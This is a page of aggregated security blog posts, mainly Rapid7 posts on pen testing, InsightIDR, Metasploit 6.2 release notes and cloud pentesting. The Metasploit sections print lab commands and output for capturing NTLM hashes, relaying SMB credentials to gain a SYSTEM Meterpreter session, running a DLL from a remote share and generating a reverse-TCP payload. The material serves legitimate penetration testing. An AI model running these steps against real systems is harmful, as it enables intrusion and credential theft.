Category: Penetration Testing

A SIEM With a Pen Tester's Eye: How Offensive Security Helps Shape InsightIDR

To be great at something, you have to be a little obsessed. That's true whether you want to be a chess grandmaster, become an internationally recognized CEO, or build the best cybersecurity platform on the planet.

At Rapid7, our laser-focus has always been trained on one thing: helping digital defenders spot and stop bad actors. From the start of our story, penetration testing — or pen testing, for short — has been one of the cornerstones of that obsession. The offensive security mindset influenced the way we built and designed InsightIDR, our cloud-native XDR and SIEM.

On the offensive

Before we ever released InsightIDR, there was Metasploit, an open-source pen testing framework. Originally developed by HD Moore, Metasploit allows offensive security teams to think like attackers and infiltrate their own organizations' environments, pushing the boundaries to see where their systems are vulnerable. Those insights help the business identify the most serious issues to prioritize and patch, remediate, or mitigate.

Offensive security strategies provide a much-needed foundation for assessing your risk landscape and staying a step ahead of threats — but the task of building and operationalizing a security strategy doesn't end there.

"The biggest misconception about pen testing that I hear repeatedly is, 'We're going to pen-test to test our response time or test our tools,'" says Jeffrey Gardner, Rapid7's Practice Advisor for Detection and Response. "That's not the purpose of a pen test."

Pen testing is a critical step in understanding where and how your organization is vulnerable to attackers, and what kinds of activities within your environment might indicate a breach. This is essential information for setting up the detections that your security operations center (SOC) team needs in order to effectively safeguard your systems against intrusion — but they also need a tool that lets them set up those detections, so they can get alerts based on what matters most for your organization's specific environment.

Pen testing itself isn't that tool, nor does it test the effectiveness of the tools you have. Rather, pen testing looks for your weaknesses – and once they’re  found, looks for ways to exploit them, including using stolen credentials to move across the network.

Mapping how bad actors behave

That's where the importance of having a security incident and event management (SIEM) solution built with offensive security in mind comes in — and that's exactly what our years of experience helping organizations run pen tests and analyze their attack surface have allowed us to build. InsightIDR is a unified SIEM and XDR platform designed with a pen tester's eye. And the key to that design is user and entity behavior analytics (UEBA).

See, the problem with detecting attackers in your network is that, to the human eye, they can look a lot like regular users. Once they've hacked a password or stolen login credentials through a phishing/scam attack, their activities can look relatively unremarkable — until, of course, they make the big move: a major escalation of privilege or some other vector that allows them to steal sensitive data or upend systems entirely.

It takes years of experience understanding how attackers behave once they penetrate networks — and the subtle ways those patterns differ from legitimate users — to be able to catch them in your environment. This is exactly the type of expertise that Rapid7 has been able to gain through 10+ years of in-the-trenches experience in penetration testing, executed through Metasploit. Everything we had learned about User and Entity Behavior Analytics (UEBA) went into  InsightIDR.

InsightIDR continuously baselines healthy user activity in the context of your specific organization. This way, the tool can spot suspicious activity fast — including lateral movement and the use of compromised credentials — and generate alerts so your team can respond swiftly. This detections-first approach means InsightIDR comes with a deep level of insight that's based on years of studying the attacker, as well as an understanding of what alerts matter most to SOC teams.

Watch a free demo today to see InsightIDR's attacker-spotting power in action.


It is hard to believe, but ransomware is more than three decades old.  While many would think that the ransomware mayhem started with the WannaCry attack of 2017, that is simply the most publicized example. Since then, dozens of ransomware strains have been utilized in a variety of cyberattacks. According to a PhishLabs report, by […]… Read More

The post How Penetration Testing can help prevent Ransomware Attacks appeared first on The State of Security.

This is a fun story, detailing the hack a group of high school students perpetrated against an Illinois school district, hacking 500 screens across a bunch of schools.

During the process, the group broke into the school’s IT systems; repurposed software used to monitor students’ computers; discovered a new vulnerability (and reported it); wrote their own scripts; secretly tested their system at night; and managed to avoid detection in the school’s network. Many of the techniques were not sophisticated, but they were pretty much all illegal.

It has a happy ending: no one was prosecuted.

A spokesperson for the D214 school district tells WIRED they can confirm the events in Duong’s blog post happened. They say the district does not condone hacking and the “incident highlights the importance of the extensive cybersecurity learning opportunities the District offers to students.”

“The District views this incident as a penetration test, and the students involved presented the data in a professional manner,” the spokesperson says, adding that its tech team has made changes to avoid anything similar happening again in the future.

The school also invited the students to a debrief, asking them to explain what they had done. “We were kind of scared at the idea of doing the debrief because we have to join a Zoom call, potentially with personally identifiable information,” Duong says. Eventually, he decided to use his real name, while other members created anonymous accounts. During the call, Duong says, they talked through the hack and he provided more details on ways the school could secure its system.

EDITED TO ADD (9/13): Here’s Minh Duong’s Defcon slides. You can see the table of contents of their report on page 59, and the school’s response on page 60.

Just when you thought that we couldn’t be any more integrated with (and dependent on) technology, the Covid pandemic swooped in to prove otherwise. The rise in the use of applications and devices to perform even basic functions pushed companies and end-users to keep pace. Of course, one group of people always seem to be […]… Read More

The post Penetration Testing in 2022: Key Trends and Challenges appeared first on The State of Security.

Announcing Metasploit 6.2

Metasploit 6.2.0 has been released, marking another milestone that includes new modules, features, improvements, and bug fixes. Since Metasploit 6.1.0 (August 2021) until the latest Metasploit 6.2.0 release we’ve added:

  • 138 new modules
  • 148 enhancements and features
  • 156 bug fixes

Top modules

Each week, the Metasploit team publishes a Metasploit wrap-up with granular release notes for new Metasploit modules. Below is a list of some recent modules that pen testers have told us they are actively using on engagements (with success).

Remote Exploitation

  • VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell) by RageLtMan, Spencer McIntyre, jbaines-r7, and w3bd3vil, which exploits CVE-2021-44228: A vCenter-specific exploit leveraging the Log4Shell vulnerability to achieve unauthenticated RCE as root / SYSTEM. This exploit has been tested on both Windows and Linux targets.
  • F5 BIG-IP iControl RCE via REST Authentication Bypass by Heyder Andrade, James Horseman, Ron Bowes, and alt3kx, which exploits CVE-2022-1388: This module targets CVE-2022-1388, a vulnerability impacting F5 BIG-IP versions prior to 16.1.2.2. By making a special request, an attacker can bypass iControl REST authentication and gain access to administrative functionality. This can be used by unauthenticated attackers to execute arbitrary commands as the root user on affected systems.
  • VMware Workspace ONE Access CVE-2022-22954 by wvu, Udhaya Prakash, and mr_me, which exploits CVE-2022-22954: This module exploits an unauthenticated remote code execution flaw in VMWare Workspace ONE Access installations; the vulnerability is being used broadly in the wild.
  • Zyxel Firewall ZTP Unauthenticated Command Injection by jbaines-r7, which exploits CVE-2022-30525: This module targets CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. Successful exploitation results in remote code execution as the nobody user. The vulnerability was discovered by Rapid7 researcher Jake Baines.

Local Privilege Escalation

Capture plugin

Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has facilitated this for years with protocol-specific modules all under the auxiliary/server/capture namespace. Users can start and configure each of these modules individually, but as of MSF 6.2.0, a new capture plugin can also streamline this process for users. The capture plugin currently starts 13 different services (17 including SSL-enabled versions) on the same listening IP address including remote interfaces via Meterpreter.

After running the load capture command, the captureg command is available (for Capture-Global), which then offers start and stop subcommands. A configuration file can be used to select individual services to start.

In the following example, the plugin is loaded, and then all default services are started on the 192.168.123.128 interface:

msf6 > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.123.128
Logging results to /home/kali/.msf4/logs/captures/capture_local_20220518185845_205939.txt
Hash results stored in /home/kali/.msf4/loot/captures/capture_local_20220518185845_846339
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
[+] Authentication Capture: FTP started
[+] HTTP Client MS Credential Catcher started
[+] HTTP Client MS Credential Catcher started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: MSSQL started
[+] Authentication Capture: MySQL started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: PostgreSQL started
[+] Printjob Capture Service started
[+] Authentication Capture: SIP started
[+] Authentication Capture: SMB started
[+] Authentication Capture: SMTP started
[+] Authentication Capture: Telnet started
[+] Authentication Capture: VNC started
[+] Authentication Capture: FTP started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: SMTP started
[+] NetBIOS Name Service Spoofer started
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs

Opening a new terminal in conjunction with the tail command will show everything that has been captured. For instance, NTLMv2-SSP details through the SMB capture module:

$ tail -f  ~/.msf4/logs/captures/capture_local_20220518185845_205939.txt

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.123.136
[SMB] NTLMv2-SSP Username   : EXAMPLE\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::EXAMPLE:1122334455667788:c77cd466c410eb0721e4936bebd1c35b:0101000000000000009391080b6bd8013406d39c880c5a66000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800009391080b6bd801060004000200000008003000300000000000000001000000002000009eee3e2f941900a084d7941d60cbd5e04f91fbf40f59bfa4ed800b060921a6740a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100320033002e003100320038000000000000000000

It is also possible to log directly to stdout without using the tail command:

captureg start --ip 192.168.123.128 --stdout

SMB v3 server support

This work builds upon the SMB v3 client support added in Metasploit 6.0.

Metasploit 6.2.0 contains a new standalone tool for spawning an SMB server that allows read-only access to the current working directory. This new SMB server functionality supports SMB v1/2/3, as well as encryption support for SMB v3.

Example usage:

ruby tools/smb_file_server.rb --share-name home --username metasploit --password password --share-point

This can be useful for copying files onto remote targets, or for running remote DLLs:

copy \\192.168.123.1\home\example.txt .
rundll32.exe \\192.168.123.1\home\example.dll,0

All remaining Metasploit modules have now been updated to support SMB v3. Some examples:

  • exploit/windows/smb/smb_delivery: This module outputs a rundll32 command that you can invoke on a remote machine to open a session, such as rundll32.exe \\192.168.123.128\tHKPx\WeHnu,0
  • exploit/windows/smb/capture: This module creates a mock SMB server that accepts credentials before returning NT_STATUS_LOGON_FAILURE. Supports SMB v1, SMB v2, and SMB v3 and captures NTLMv1 and NTLMv2 hashes, which can be used for offline password cracking
  • exploit/windows/dcerpc/cve_2021_1675_printnightmare: This update is an improved, all-inclusive exploit that uses the new SMB server, making it unnecessary for the user to deal with Samba.
  • exploit/windows/smb/smb_relay: Covered in more detail below.

Enhanced SMB relay support

The windows/smb/smb_relay has been updated so users can now relay over SMB versions 2 and 3. In addition, the module can now select multiple targets that Metasploit will intelligently cycle through to ensure that it is not wasting incoming connections.

Example module usage:

use windows/smb/smb_relay
set RELAY_TARGETS 192.168.123.4 192.168.123.25
set JOHNPWFILE ./relay_results.txt
run

Incoming requests have their hashes captured, as well as being relayed to additional targets to run psexec:

msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22
[*] Received request for \admin
[*] Relaying to next target smb://192.168.123.4:445
[+] identity: \admin - Successfully authenticated against relay target smb://192.168.123.4:445
[SMB] NTLMv2-SSP Client     : 192.168.123.4
[SMB] NTLMv2-SSP Username   : \admin
[SMB] NTLMv2-SSP Hash       : admin:::ecedb28bc70302ee:a88c85e87f7dca568c560a49a01b0af8:0101000000000000b53a334e842ed8015477c8fd56f5ed2c0000000002001e004400450053004b0054004f0050002d004e0033004d00410047003500520001001e004400450053004b0054004f0050002d004e0033004d00410047003500520004001e004400450053004b0054004f0050002d004e0033004d00410047003500520003001e004400450053004b0054004f0050002d004e0033004d00410047003500520007000800b53a334e842ed80106000400020000000800300030000000000000000000000000300000174245d682cab0b73bd3ee3c11e786bddbd1a9770188608c5955c6d2a471cb180a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100320033002e003100000000000000000000000000

[*] Received request for \admin
[*] identity: \admin - All targets relayed to
[*] 192.168.123.4:445 - Selecting PowerShell target
[*] Received request for \admin
[*] identity: \admin - All targets relayed to
[*] 192.168.123.4:445 - Executing the payload...
[+] 192.168.123.4:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 192.168.123.4
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.4:52771 ) at 2022-03-02 22:24:42 +0000

A session will be opened on the relay target with the associated credentials:

msf6 exploit(windows/smb/smb_relay) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ DESKTOP-N3MAG5R  192.168.123.1:4444 -> 192.168.123.4:52771  (192.168.123.4)

Further details can be found in the Metasploit SMB Relay documentation.

Improved pivoting / NATed services support

Metasploit has added features to libraries that provide listening services (like HTTP, FTP, LDAP, etc) to allow them to be bound to an explicit IP address and port combination that is independent of what is typically the SRVHOST option. This is particularly useful for modules that may be used in scenarios where the target needs to connect to Metasploit through either a NAT or port-forward configuration. The use of this feature mimics the existing functionality that’s provided by the reverse_tcp and reverse_http(s) payload stagers.

When a user needs the target to connect to 10.2.3.4, the Metasploit user would set that as the SRVHOST. If, however, that IP address is the external interface of a router with a port forward, Metasploit won’t be able to bind to it. To fix that, users can now set the ListenerBindAddress option to one that Metasploit can listen on — in this case, the IP address that the router will forward the incoming connection to.

For example, with the network configuration:

Private IP: 172.31.21.26 (where Metasploit can bind to)
External IP: 10.2.3.4 (where the target connects to Metasploit)

The Metasploit module commands would be:

# Set where the target connects to Metasploit. ListenerBindAddress is a new option.
set srvhost 10.2.3.4
set ListenerBindAddress 172.31.21.26

# Set where Metasploit will bind to. ReverseListenerBindAddress is an existing option.
set lhost 10.2.3.4
set ReverseListenerBindAddress 172.31.21.26

Debugging Meterpreter sessions

There are now two ways to debug Meterpreter sessions:

  1. Log all networking requests and responses between msfconsole and Meterpreter, i.e. TLV packets
  2. Generate a custom Meterpreter debug build with extra logging present

Log Meterpreter TLV packets

This can be enabled for any Meterpreter session and does not require a special debug Metasploit build:

msf6 > setg SessionTlvLogging true
SessionTlvLogging => true

Here’s an example of logging the network traffic when running the getenv Meterpreter command:

meterpreter > getenv USER

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
]>

RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="Q\xE63_onC\x9E\xD71\xDE3\xB5Q\xE24">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
  #<Rex::Post::Meterpreter::GroupTlv type=ENV_GROUP       tlvs=[
    #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
    #<Rex::Post::Meterpreter::Tlv type=ENV_VALUE       meta=STRING     value="demo_user">
  ]>
]>

Environment Variables
=====================

Variable  Value
--------  -----
USER      demo_user

Meterpreter debug builds

We have added additional options to Meterpreter payload generation for generating debug builds that will have additional log statements present. These payloads can be useful for debugging Meterpreter sessions, when developing new Meterpreter features, or for raising Metasploit issue reports etc. To choose a prebuilt Meterpreter payload with debug functionality present, set MeterpreterDebugBuild to true. There is also configuration support for writing the log output to stdout or to a file on the remote target by setting MeterpreterDebugLogging to rpath:/tmp/meterpreter_log.txt.

For example, within msfconsole you can generate a new payload and create a handler:

use payload/python/meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler

Running the payload will show the Meterpreter log output:

$ python3 shell.py
DEBUG:root:[*] running method core_negotiate_tlv_encryption
DEBUG:root:[*] Negotiating TLV encryption
DEBUG:root:[*] RSA key: 30820122300d06092a864886f70d01010105000382010f003082010a0282010100aa0f09225ff311d136b7c2ed02e5f4c819a924bd59a2ba67ea3e36c837c1d28ba97db085acad9374a543ad0709006d835c80aa273138948ec9ff699142405819e68b8dbc3c04300dc2a93a5be4be2263b69e8282447b6250abad8056de6e7f83b20c6151d72af63c908fa5b0c3ab3a4ac92d8b335a284b0542e3bf9ef10456024df2581b22f233a84e69d41d721aa00e23ba659c4420123d5fdd78ac061ffcb74e5ba60fece415c2be982df57d13afc107b8522dc462d08247e03d63b0d6aa639784e7187384c315147a7d18296f09495ba7969da01b1fb49097295792572a01acdaf7406f2ad5b25d767d8695cc6e33d33dfeeb158a6f50d43d07dd05aa19ff0203010001
DEBUG:root:[*] AES key: 0x121565e60770fccfc7422960bde14c12193baa605c4fdb5489d9bbd6b659f966
DEBUG:root:[*] Encrypted AES key: 0x741a972aa2e95260279dc658f4b611ca2039a310ebb834dee47342a5809a68090fed0a87497f617c2b04ecf8aa1d6253cda0a513ccb53b4acc91e89b95b198dce98a0908a4edd668ff51f2fa80f4e2c6bc0b5592248a239f9a7b30b9e53a260b92a3fdf4a07fe4ae6538dfc9fa497d02010ee67bcf29b38ec5a81d62da119947a60c5b35e8b08291825024c734b98c249ad352b116618489246aebd0583831cc40e31e1d8f26c99eb57d637a1984db4dc186f8df752138f798fb2025555802bd6aa0cebe944c1b57b9e01d2d9d81f99a8195222ef2f32de8dfbc150286c122abdc78f19246e5ad65d765c23ba762fe95182587bd738d95814a023d31903c2a46
DEBUG:root:[*] TLV encryption sorted
DEBUG:root:[*] sending response packet
DEBUG:root:[*] running method core_set_session_guid
DEBUG:root:[*] sending response packet
DEBUG:root:[*] running method core_enumextcmd
DEBUG:root:[*] sending response packet
DEBUG:root:[*] running method core_enumextcmd
DEBUG:root:[*] sending response packet
... etc ...

For full details, see the Debugging Meterpreter Sessions documentation.

User-contributable docs

We have now released user-contributable documentation for Metasploit, available at https://docs.metasploit.com/. This new site provides a searchable source of information for multiple topics including:

Contributions are welcome, and the Markdown files can now be found within the Metasploit framework repo, under the docs folder.

Local exploit suggester improvements

The post/multi/recon/local_exploit_suggester post module can be used to iterate through multiple relevant Metasploit modules and automatically check for local vulnerabilities that may lead to privilege escalation.

Now with Metasploit 6.2, this module has been updated with a number of bug fixes, as well as improved UX that more clearly highlights which modules are viable:

msf6 post(multi/recon/local_exploit_suggester) > run session=-1
... etc ...
[*] ::1 - Valid modules for session 3:
============================
 #   Name                                                                Potentially Vulnerable?  Check Result
 -   ----                                                                -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                 Yes                      The target is vulnerable.
 2   exploit/linux/local/cve_2022_0847_dirtypipe                         Yes                      The target appears to be vulnerable. Linux kernel version found: 5.14.0
 3   exploit/linux/local/cve_2022_0995_watch_queue                       Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/desktop_privilege_escalation                    Yes                      The target is vulnerable.
 5   exploit/linux/local/network_manager_vpnc_username_priv_esc          Yes                      The service is running, but could not be validated.
 6   exploit/linux/local/pkexec                                          Yes                      The service is running, but could not be validated.
 7   exploit/linux/local/polkit_dbus_auth_bypass                         Yes                      The service is running, but could not be validated. Detected polkit framework version 0.105.
 8   exploit/linux/local/su_login                                        Yes                      The target appears to be vulnerable.
 9   exploit/android/local/futex_requeue                                 No                       The check raised an exception.
 10  exploit/linux/local/abrt_raceabrt_priv_esc                          No                       The target is not exploitable.
 11  exploit/linux/local/abrt_sosreport_priv_esc                         No                       The target is not exploitable.
 12  exploit/linux/local/af_packet_chocobo_root_priv_esc                 No                       The target is not exploitable. Linux kernel 5.14.0-kali4-amd64 #1 is not vulnerable
 13  exploit/linux/local/af_packet_packet_set_ring_priv_esc              No                       The target is not exploitable.
 14  exploit/linux/local/apport_abrt_chroot_priv_esc                     No                       The target is not exploitable.
 15  exploit/linux/local/asan_suid_executable_priv_esc                   No                       The check raised an exception.
 16  exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc          No                       The target is not exploitable.

Setting the option verbose=true will now also highlight modules that weren’t considered as part of the module suggestion phase due to session platform/arch/type mismatches. This is useful for evaluating modules that may require manually migrating from a shell session to Meterpreter, or from a Python Meterpreter to a native Meterpreter to gain local privilege escalation.

Upcoming roadmap work

In addition to the normal module development release cycle, the Metasploit team has now begun work on adding Kerberos authentication support as part of a planned Metasploit 6.3.0 release.

Get it

Existing Metasploit Framework users can update to the latest release of Metasploit Framework via the msfupdate command.

New users can either download the latest release through our nightly installers, or if you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest release.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Penetration testing is something that more companies and organizations should be considering a necessary expense. I say this because over the years the cost of data breaches and other forms of malicious intrusions and disruptions are getting costlier. Per IBM Security’s “Cost of a Data Breach Report 2021,” the average cost of a breach has […]… Read More

The post CIS Control 18 Penetration Testing appeared first on The State of Security.

Windows Local Privilege Escalation for standard users

Metasploit Wrap-Up

In this week’s release, we have an exciting new module that has been added by our very own Grant Willcox which exploits (CVE-2022-26904)[https://attackerkb.com/topics/RHSMbN1NQY/cve-2022-26904], and allows for normal users to execute code as NT AUTHORITY/SYSTEM on Windows machines from Windows 7 up to and including Windows 11. Currently, the vulnerability is still not patched and there have not been any updates from MSRC regarding this vulnerability, however it may be patched in the next Patch Tuesday.

This exploit requires more than one local user to be present on the machine and the PromptOnSecureDesktop setting to be set to 1, which is the default setting.

MacOS exploitation

Our very own space-r7 has updated the recent GateKeeper module to add support for the recent CVE-2022-22616, which can be used to target all MacOS Catalina versions, and MacOS Monterey versions prior to 12.3.

This module can be used to remove the com.apple.quarantine extended attribute on a downloaded/extracted file and allows for code to be executed on the machine.

Enumerating Chocolatey applications

This week’s release also features a new module from a first-time contributor rad10, which will enumerate all applications that have been installed using Chocolatey.

This could be used when gathering information about a compromised target and potentially vulnerable software present on the machine.

New module content (5)

  • User Profile Arbitrary Junction Creation Local Privilege Elevation by Grant Willcox and KLINIX5, which exploits CVE-2022-26904 - This adds an exploit for CVE-2022-26904, which is an LPE vulnerability affecting Windows 7 through Windows 11. Leveraging this vulnerability can allow a local attacker running as a standard user, who has knowledge of another standard user's credentials, to execute code as NT AUTHORITY\SYSTEM. The PromptOnSecureDesktop setting must also be set to 1 on the affected machine for this exploit to work, which is the default setting.
  • ALLMediaServer 1.6 SEH Buffer Overflow by Hejap Zairy Al-Sharif, which exploits CVE-2022-28381 - A new module has been added in which exploits CVE-2022-28381, a remotely exploitable SEH buffer overflow vulnerability in AllMediaServer version 1.6 and prior. Successful exploitation results in remote code execution as the user running AllMediaServer.
  • Windows Gather Installed Application Within Chocolatey Enumeration by Nick Cottrell - This adds a post module that enumerates applications installed with Chocolatey on Windows systems.
  • #16082 from usiegl00 - This updates the shadow_mitm_dispatcher module by adding a new RubySMB Dispatcher, whichallows a better integration with RubySMB and enables the use of all the features provided by its client. Both SMBv2 and SMBv3 are now supported.
  • #16401 from space-r7 - This change adds support for CVE-2022-22616 to the existing Gatekeeper bypass exploit module which reportedly covers macOS Catalina all the way to MacOS Monterey versions below 12.3. Since this now targets two CVEs, we've introduced a new CVE option to select which CVE to exploit. This default is the most recent CVE.

Enhancements and features (4)

  • #15972 from sempervictus - This updates the Log4shell scanner with the LEAK_PARAMS option, providing a way to leak more target information such as environment variables.
  • #16320 from dwelch-r7 - This updates Windows Meterpreter payloads to support a new MeterpreterDebugBuild datastore option. When set to true the generated payload will have additional logging support which is visible via Window's DbgView program.
  • #16373 from adfoster-r7 - Adds initial support for Ruby 3.1
  • #16403 from sempervictus - This adds more checks to the post/windows/gather/checkvm module to better detect if the current target is a Qemu / KVM virtual machine.

Bugs fixed (3)

  • #16398 from jmartin-r7 - A number of recent payload adds did not conform to the patterns used for suggesting spec configurations. Tests for these payloads have now been manually added to ensure they will be appropriately tested as part of rspec checks.
  • #16408 from rtpt-alexanderneumann - This fixes an edge case with the multi/postgres/postgres_copy_from_program_cmd_exec module, which crashed when the randomly generated table name started with a number
  • #16419 from adfoster-r7 - A bug has been fixed whereby when using the search command and searching by disclosure_date, the help menu would instead appear. This has been remedied by improving the date handling logic for the search command.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the binary installers (which also include the commercial edition).

Cloud Pentesting, Pt. 3: The Impact of Ecosystem Maturity

Now that we’ve covered the basics of cloud pentesting and the style in which a cloud environment could be attacked, let’s turn our attention to the entirety of this ecosystem. This environment isn’t too different from the on-premise ecosystem that traditional penetration testing is performed on. Who doesn’t want to gain internal access to the client's environment from an external perspective? Recently, one consultant obtained firewall access due to default credentials never being changed, and the management interface was being publicly exposed. Or how about gaining a shell on a web server because of misconfigurations?  

Typically, a client who has a bit more maturity beyond just a vulnerability management program will shift gears to doing multiple pentests against their environments, which are external, internal, web app, mobile app, wireless, and potentially more. By doing these types of pentests, clients can better understand which aspects of their ecosystem are failing and which are doing fine. This is no different than when their infrastructure is deployed in the cloud.

Cloud implementation maturity

There’s an old saying that one must learn how to crawl before walking and how to walk before running. That same adage runs true for pentesting. Pentesting a network before ever having some sort of vulnerability management program can certainly show the weaknesses within the network, but it may not show the true depth of the issue.

The same holds true with Red Teams. You wouldn’t want to immediately jump on the Red Team pentesting bandwagon without having gone through multiple iterations of pentesting to true up gaps within the environment. Cloud pentesting should be treated in the same manner.  

The maturity of a company’s cloud implementation will help determine the depth in which a cloud pentest can occur, if it can occur at all! To peel this orange back a bit, let’s say a company wants a cloud ecosystem pentest. Discovery calls to scope the project will certainly help uncover how a customer implements their cloud environment, but what if it’s a basic approach? As in, there is no use of cloud-native deployments, all user accounts have root access, tagging of assets within the environment is not implemented, and so on. Where does this leave a pentest?  

In this particular case, an ecosystem pentest is not feasible at this juncture. The more basic approaches, such as vulnerability management or scanning of built-in cloud vendor-specific checks, would most certainly be ideal. Again, crawl before you walk, and walk before you run.This would look more like a traditional pentest, where an external and an internal test are performed.

What if the client is very mature in their implementation of cloud? Now we’re talking! User accounts are not root, IAM roles are leveraged instead of users, departments have separate permission profiles, the environment utilizes cloud native deployments as much as possible, and there’s separation of department environments by means of accounts, access control lists (ACLs), or virtual private clouds (VPCs). This now becomes the cloud ecosystem pentest that will show gaps within the environment — with the understanding that the customer has implemented, to the best of their abilities, controls that are baked into the cloud platform.

Maturity example

I’ve had the absolute pleasure of chatting with a ton of potential customers that are interested in performing a cloud ecosystem pentest. This not only helps to understand how the customer needs their pentest to be structured, but it also helps me to understand how we can improve our offering at Rapid7. There’s one particular case that stood out to me, which helped me understand that some customers are simply not ready to move into a cloud-native deployment.  

In discussing Rapid7’s approach to cloud ecosystem pentesting, we typically ask what types of services the customer uses with their respective cloud vendor. In this discussion with this particular customer, we discovered they were using Kubernetes (K8s) quite extensively. After we asked a few more questions, it turned out that the customer wasn’t using K8s from a cloud-native perspective — rather, they had installed Kubernetes on their own virtual machines and were administering it from there. The reason behind this was that they just weren’t ready yet to fully transition to a cloud vendor running other parts of their infrastructure.  

Now, this is a bit of a head-scratcher, because in this type of scenario, they’re taking on more of the support than is necessary. Who am I to argue, though?  The customer and I had a very fruitful conversation, which actually led us both to a deeper understanding of not only their business approach but also their IT infrastructure strategy.

So, in this particular instance, if we were to pentest K8s that this customer deployed onto their virtual machines, how far could we go? Well, since they own the entire stack — from the operating system, to the software, to the actual containers — we can go as far as we can go. If, however, this had been deployed from a cloud-native perspective, we would have restrictions due to the cloud vendor’s terms of services.

One major restriction is container escapes, which are out of scope. This goes back to the shared environment that has made cloud so successful. If Rapid7 were capable of performing a container escape, not only would this have been severely out of scope, but Rapid7 would most certainly be reporting the exploit to the cloud vendor themselves. These are the dreams of a white hat hacker, who signed up to perform a bug bounty and get paid out potentially tens of thousands of dollars!

But while that isn’t exactly how all cloud pentests turn out, they can still be done just as effectively as traditional on-premise pentests. It just requires a clear understanding of how the customer has deployed their cloud ecosystem, how mature their implementation is, and what is in and out of scope for a pentest based on those factors.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Cloud Pentesting, Pt. 2: Testing Across Different Deployments

In part one of this series, we broke down the various types of cloud deployments. So, pentesting in the cloud is just like on-prem, right? (Who asks these loaded questions!?)  

The answer is yes and no. It depends on how a customer has set up their cloud deployment. Let’s cover a few basics first, because this will really clear things up.

Each cloud vendor has their own unique restrictions on what can and cannot be attacked, due to the nature of how the cloud is architected. Most have very similar restrictions — however, these rules must be followed, or one could quickly find themselves outside of scope. The next sections will outline which parts of the "as-a-service" components are out of scope for testing, and which are in scope.

Infrastructure as a service

This, in my experience, is how most clients have come to set up their cloud deployment. This as-a-service model could have simply been the quickest way to appease a C-level person, asking their Directors and Managers to go all-in with cloud. This is that direct lift from on-premise to the cloud that we discussed in the last post.  

When it comes to testing this type of deployment, the scope is the largest it could be, with very few exceptions to what is out of scope. Getting dropped directly into a virtual private cloud (VPC) is likely the scenario that will work as an “assumed breach” approach. The client would then deploy a virtual machine, which will then be allowed specific access inbound from a tester's IP address, along with gaining that access via an SSH keypair.  

Some exceptions to this testing that are OUT of scope include:

  • Auto-scaling functions and network address translation (NAT) gateways
  • Exploiting the software that was used to deploy compute instances, or changing NAT

Some items that are IN scope for this deployment model include:

  • Attacking the operating system and attempting exploitation against outdated versions
  • Exploiting the software or applications installed on the operating system

Platform as a service

You’ve heard of bring your own device (BYOD) — think of this as BYOS, or bring your own software. Platform as a service (PaaS) brings us up a level in terms of support requirements. With this approach, clients can utilize a cloud provider's products that allow a client to bring their own code for things like web applications. A client no longer has to work on keeping their operating system up to date. The code is typically deployed on something like a container, which could cost the client much less than that of having to deploy a virtual machine, licensing for an operating system, vulnerability management of the operating system, and staffing considerations. There are again exceptions, however, to what can and can’t be tested.  

In this example, the following would be considered OUT of scope:

  • The host itself and/or containers hosting the application
  • Attempting to escape containers where the application is hosted

The items which are IN scope for this deployment model include:

  • Attempting to exploit the application that is installed on the operating system itself

Software as a service

At last, the greatest reduction in liability: software as a service (SaaS). Microsoft’s Office 365 is perhaps the most common example of a very widely used SaaS deployment. Click a few buttons in a cloud provider's dashboard, input some user credentials, upload some data, and you’re done! Easy like Sunday morning!  

